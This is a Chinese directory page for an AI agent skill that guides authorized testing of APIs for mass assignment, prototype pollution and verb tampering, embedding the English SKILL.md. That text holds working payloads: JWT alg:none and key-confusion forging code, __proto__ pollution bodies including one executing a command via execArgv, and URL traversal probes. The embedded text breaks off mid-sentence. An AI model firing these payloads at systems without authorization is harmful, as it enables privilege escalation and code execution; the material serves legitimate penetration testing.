hunt-api-misconfig
它能做什么
这项技能指导安全测试人员检查 API 中的批量赋值、原型污染和 HTTP 动词篡改问题。它适用于经授权的 Web 和 API 应用测试。
适用场景
- ✓当某个 API 接受资料或账户更新,你想检查是否存在隐藏的管理员字段时。
- ✓当 Node.js 类应用把用户输入合并到对象中,可能存在漏洞时。
- ✓当你想检查某个端点在使用其他 HTTP 方法时是否表现不同时。
技能链接
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-api-misconfig/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我测试这个资料更新 API 是否存在批量赋值问题,即用户能否自行设置管理员角色。”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会向更新端点发送额外字段和异常输入,并检查服务器是否接受这些字段。它会列出哪些设置被改动,作为证明。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
12. API SECURITY MISCONFIGURATION
Mass Assignment
User.update(req.body) // body has {"role": "admin"} → privilege escalation
JWT None Algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
JWT RS256 → HS256 Algorithm Confusion
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
Prototype Pollution
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
or webhook configuration. Do not stop at a 200 response to __proto__; prove that polluted prototype
state reaches a later operation.
Hunt sequence:
- Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
- Pollute harmless marker properties. Send variants such as:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
- Trigger a separate sink. After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.
- Escalate only through learned sinks. Candidate properties depend on the sink:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
- For exfiltration labs or real impact, prefer non-destructive proof. If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
Server-Side Parameter Pollution in Backend URL / REST URL Construction
Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not ordinary client-side query pollution. The server takes your input and interpolates it into a backend URL path or query string, such as:
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
Hunt sequence:
- Find the flow and read the client request. Fetch the page and any referenced JavaScript. Look
for form actions,
fetch(...), hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape. - Determine whether input lands in a backend path or query. Send URL metacharacters in the input:
#,?,&x=y,/,../, and encoded forms%23,%3f,%26x=y,%2f,%2e%2e%2f. Distinct errors such asInvalid route,API definition,unsupported field, or changed returned fields mean your value is being interpreted by a server-side URL router, not merely validated as text. - Use path traversal to move inside the server-side URL. If
username/../other-userchanges the referenced account, the input is in a REST path segment. Then try appending route fragments such as/field/email,/field/id,/field/username,/field/passwordResetToken, and terminate the rest of the original backend path with#or%23when the backend URL parser honors fragments. - Discover API documentation from errors. When an error says to consult the API definition, probe
common documentation/spec paths:
/openapi.json, `/
常见问题
什么是批量赋值?
指 API 接受了比预期更多的字段,例如角色字段,并在未经检查的情况下保存。
它涵盖 JWT 加密问题吗?
不涵盖。技能说明,JWT 签名和密钥攻击属于另一个 JWT 技能,本技能只涵盖非加密方面的 JWT 处理。
它适用于谁?
它适用于在 Web 和 API 应用上进行经授权工作的安全测试人员。
详情
作者的原始描述
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API re
热度
- GitHub 星标
- 5.4k
- 排名
- #14892
- 许可证
- MIT
- 更新时间
- 2026/11/2
评论
- …
同一仓库的更多技能
apk-redteam-pipeline
5.4k帮你的智能体测试 Android 应用的安全弱点,从找到 APK 文件、反编译,到检查是否暴露了敏感信息。
bugcrowd-reporting
5.4k帮你的智能体撰写更好的 Bugcrowd 漏洞报告,选择正确的类别,并回应“超出范围”的异议。
cloud-iam-deep
5.4k帮你的智能体在经授权的安全测试中,检查找到的云凭据在 AWS、Azure 或 Google Cloud 上能访问哪些内容。
enterprise-vpn-attack
5.4k帮你的智能体在经授权的测试中,检查 Cisco、Fortinet、Citrix 等厂商 VPN 和远程访问设备是否存在已知弱点。